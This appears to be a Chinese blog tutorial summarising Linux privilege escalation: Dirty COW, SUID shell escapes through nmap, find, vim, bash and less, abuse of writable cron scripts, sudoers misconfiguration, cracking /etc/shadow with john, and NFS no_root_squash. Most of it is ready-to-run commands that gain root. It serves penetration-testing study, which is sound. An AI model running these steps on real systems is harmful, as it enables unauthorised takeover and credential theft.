最详细Linux提权总结(建议收藏)

1、内核漏洞脏牛提权

查看发行版本

cat /etc/issue

cat /etc/*-release

  

查看内核版本信息

uname -a

   

具体提权

1、信息收集配合kali提权

uname -a   #查看内核版本信息

最详细Linux提权总结(建议收藏)

内核版本为3.2.78,那我们可以搜索该版本漏洞

searchsploit linux 3.2.78

最详细Linux提权总结(建议收藏)

找到几个可以使用的脏牛提权脚本,这里我使用的是40839.c脚本

最详细Linux提权总结(建议收藏)

那我们把这个文件也进行上传

最详细Linux提权总结(建议收藏)

然后在我们反弹的shell上查看,发现上传成功。

最详细Linux提权总结(建议收藏)

我们可以先看看脚本

最详细Linux提权总结(建议收藏)

利用提示对脚本进行编译

gcc -pthread 40839.c -o 40839 -lcrypt

最详细Linux提权总结(建议收藏)

   

最详细Linux提权总结(建议收藏)

运行然后输入密码即可

最详细Linux提权总结(建议收藏)

接下来我们通过

su firefart   #切换用户

最详细Linux提权总结(建议收藏)

   

2、利用linux-exploit-suggester、linux-exploit-suggester-2等工具

   

linux-exploit-suggester

最详细Linux提权总结(建议收藏)

   

linux-exploit-suggester-2

最详细Linux提权总结(建议收藏)

   

2、SUID配置错误提权

SUID简介

1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.

2.命令执行者要对该程序文件拥有执行(x)权限.

3.命令执行者在执行该程序时获得该程序文件属主的身份.

4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

   

SUID设置方法

1、chmod u+s FILE...

2、chmod u-s FILE…

   

具体提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

常见Linuxroot文件列表如下

nmap

vim

find

bash

more

less

nano

cp

   

利用如下POC

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} \;

最详细Linux提权总结(建议收藏)

   

各命令提权利用

nmap

旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令。由于 Nmap 位于以 root 权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。

   

nmap --interactive #启动交互模式

最详细Linux提权总结(建议收藏)

   

nmap> !sh

sh-3.2# whoami

root

   

最详细Linux提权总结(建议收藏)

   

或者有一个 Metasploit 模块,它通过 SUID Nmap 二进制文件执行权限提升。

exploit/unix/local/setuid_nmap

   

find

实用程序find可用于发现存储在系统上。然而,它是执行命令的能力。因此,如果它被配置为使用 SUID 权限运行,那么所有将通过 find 执行的命令都将以 root 身份执行。

   

我们拿到一个非root权限

最详细Linux提权总结(建议收藏)

   

touch abc

find abc -exec whoami \;

最详细Linux提权总结(建议收藏)

   

vim

Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。

   

vim.tiny /etc/shadow

最详细Linux提权总结(建议收藏)

   

还可以通过vim来打开shell

vim.tiny

# Press ESC key

:set shell=/bin/sh

:shell

最详细Linux提权总结(建议收藏)

   

Bash

bash -p

bash-3.2# id

uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

最详细Linux提权总结(建议收藏)

   

lessmore

less /etc/passwd

!/bin/sh

最详细Linux提权总结(建议收藏)

   

3、计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。

利用命令如下命令列出一些计划任务

ls -l /etc/cron*

cat /etc/crontab

最详细Linux提权总结(建议收藏)

在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升

   

权限配置不当

首先我们拿到一个非root用户的账号,我们通过一些其他的手段提权都失败了,这个时候我们查看了一下计划任务

   

cat /etc/crontab

最详细Linux提权总结(建议收藏)

   

发现存在一个root身份运行的test.sh,那我们当相应的目录下去查看一下这个计划任务

   

cd /sbin;ls -l test.sh

最详细Linux提权总结(建议收藏)

   

发现这里权限配置为777,就是说我们普通用户也能去修改这个test.sh文件,那我们对文件进行修改,然后进行提权。

cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

最详细Linux提权总结(建议收藏)

接下来就到/tmp等待计划任务的执行

最详细Linux提权总结(建议收藏)

   

产生后对bash文件进行执行即可进行提权

最详细Linux提权总结(建议收藏)

   

4、sudo提权

普通用户一般是无法运行root所有者的命令的,运用sudo可以使普通用户使用root用户的命令。但是在一些场景下,管理员为了平常运营方便给sudoer文件配置不当,从而导致权限提升的问题产生。

   

一般情况下,我们使用sudo命令都需要输入root密码

最详细Linux提权总结(建议收藏)

   

管理可能为了方便对/etc/sudoers进行编辑成sudo免密码

vim /etc/sudoers

添加:test ALL=(ALL:ALL) NOPASSWD:ALL #test为我们的用户

最详细Linux提权总结(建议收藏)

   

添加后我们在进行重新进行读取

最详细Linux提权总结(建议收藏)

   

5、明文root密码提权

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

   

最详细Linux提权总结(建议收藏)

当我们的passwd和shadow一些权限配置不当就可能会导致提权

   

passwd文件

test:x:1000:1000::/home/test:/bin/bash

passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(非root用户不可读)。

当我们的passwd文件给普通用户配置了写权限,那么我们就可以通过修改x为一段已知的密码的hash值来进行提权。

   

shadow文件

test:$6$Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::

假如我们对shadow文件有读取权限我们就可以利用hash、john等对其进行爆破

这里以john为例进行演示,首先把passwdshadow两文件放在同一文件下

最详细Linux提权总结(建议收藏)

   

john --user=test test.hash

最详细Linux提权总结(建议收藏)

   

6、密码复用提权

当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码

   

7、第三方服务提权

netstat -antup #查看各种网络服务

1、NFS提权

当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

查看NFS服务器上的共享目录

sudo showmount -e x.x.x.x

②创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。

sudo mkdir -p /tmp

sudo mount -t nfs x.x.x.x:/home/test /tmp

cp /bin/bash /tmp/shell

chmod u+s /tmp/shell

③回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。

2、数据库提权(篇幅教长,后续另起篇幅)

①UDF提权

②MOF提权

启动项提权

CVE-2016-6663、CVE-2016-6664组合提权

反弹端口提权

最详细Linux提权总结(建议收藏)

上一篇:Podman中如何运行一个 Linux 虚拟机?


下一篇:ubuntu20.04LTS网络连接问题及网络图标不见了解决方法